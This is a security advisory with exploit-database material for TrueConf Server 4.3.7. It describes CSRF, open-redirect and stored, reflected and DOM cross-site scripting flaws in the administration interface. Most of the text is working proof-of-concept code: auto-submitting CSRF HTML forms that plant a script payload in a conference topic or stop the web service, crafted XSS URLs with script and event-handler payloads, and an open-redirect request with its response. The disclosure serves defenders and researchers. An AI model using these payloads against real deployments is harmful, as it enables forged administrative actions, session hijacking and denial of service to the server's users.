Headline
CVE-2017-20120: Offensive Security’s Exploit Database Archive
A vulnerability classified as problematic was found in TrueConf Server 4.3.7. This vulnerability affects unknown code of the file /admin/service/stop/. The manipulation leads to cross-site request forgery. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.
TrueConf Server v4.3.7 Multiple Remote Web Vulnerabilities
Vendor: TrueConf LLC
Product web page: https://www.trueconf.com
Affected version: 4.3.7.12255 and 4.3.7.12219
Summary: TrueConf Server is a powerful, high-quality and highly secured
video conferencing software server. It is specially designed to work with
up to 250 participants in a multipoint conference over LAN or VPN networks.
TrueConf Server requires no hardware and includes client applications for
all popular platforms, making it an easy-to-set up, unified communications
solution.
Desc: The administration interface allows users to perform certain actions
via HTTP requests without performing any validity checks to verify the requests.
This can be exploited to perform certain actions with administrative privileges
if a logged-in user visits a malicious web site.
Input passed via the 'redirect_url' GET parameter is not properly verified before
being used to redirect users. This can be exploited to redirect a user to an
arbitrary website e.g. when a user clicks a specially crafted link to the affected
script hosted on a trusted domain.
TrueConf also suffers from multiple stored, reflected and DOM XSS issues when
input passed via several parameters to several scripts is not properly sanitized
before being returned to the user. This can be exploited to execute arbitrary HTML
and script code in a user's browser session in context of an affected site.
Tested on: Microsoft Windows 7 Professional SP1 (EN)
Apache/2.4.17 (Win32)
PHP/5.4.41
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2017-5393
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5393.php
01.11.2016
--
CSRF Stored XSS:
----------------
<html>
<body>
<form action="http://127.0.0.1:8888/admin/conferences/applyCreate" method="POST">
<input type="hidden" name="send_invite_mail" value="1" />
<input type="hidden" name="invitation_type" value="-1" />
<input type="hidden" name="hide_invitation_type" value="-1" />
<input type="hidden" name="date" value="22.01.2017" />
<input type="hidden" name="time-field" value="17:27" />
<input type="hidden" name="time_zone" value="60" />
<input type="hidden" name="subtype" value="3" />
<input type="hidden" name="podiums" value="6" />
<input type="hidden" name="cid" value="\c\dfa95f7e1d" />
<input type="hidden" name="key" value="dfa95f7e1d" />
<input type="hidden" name="topic" value="<script>alert('XSS')</script>" />
<input type="hidden" name="description" value="" />
<input type="hidden" name="owner" value="" />
<input type="hidden" name="gconf-edit" value="ok" />
<input type="hidden" name="webTtype" value="0" />
<input type="submit" value="Submit form" />
</form>
</body>
</html>
Reflected XSS:
--------------
http://127.0.0.1:8888/admin/conferences/get-all-status/?keys[]=<img src=j onerror=confirm(251) >
http://127.0.0.1:8888/admin/conferences/list/?sort=status%26'%22()%26%25<div><ScRiPt%20>prompt(251)</ScRiPt>
http://127.0.0.1:8888/admin/group/list/?checked_group_id=0001&sort=name
http://127.0.0.1:8888/admin/group/list/?checked_group_id=' onmouseover=confirm(251) ?
DOM XSS:
--------
http://127.0.0.1:8888/admin/group?'\><script>confirm("XSS")</script>
http://127.0.0.1:8888/admin/conferences/list/?domxss=javascript:domxssExecutionSink(1,"'\"><script>alert("XSS")</script>
Open Redirect:
--------------
Request:
GET /admin/general/change-lang?lang_on=en&redirect_url=http://www.zeroscience.mk HTTP/1.1
Host: 127.0.0.1:8888
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
Response:
HTTP/1.1 302 Found
Date: Thu, 22 Sep 2016 21:15:40 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: http://www.zeroscience.mk
Content-Length: 0
Keep-Alive: timeout=5, max=75
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
CSRF Stop Web Service:
----------------------
<html>
<body>
<form action="http://127.0.0.1/admin/service/stop/" method="POST">
<input type="submit" value="Submit form" />
</form>
</body>
</html>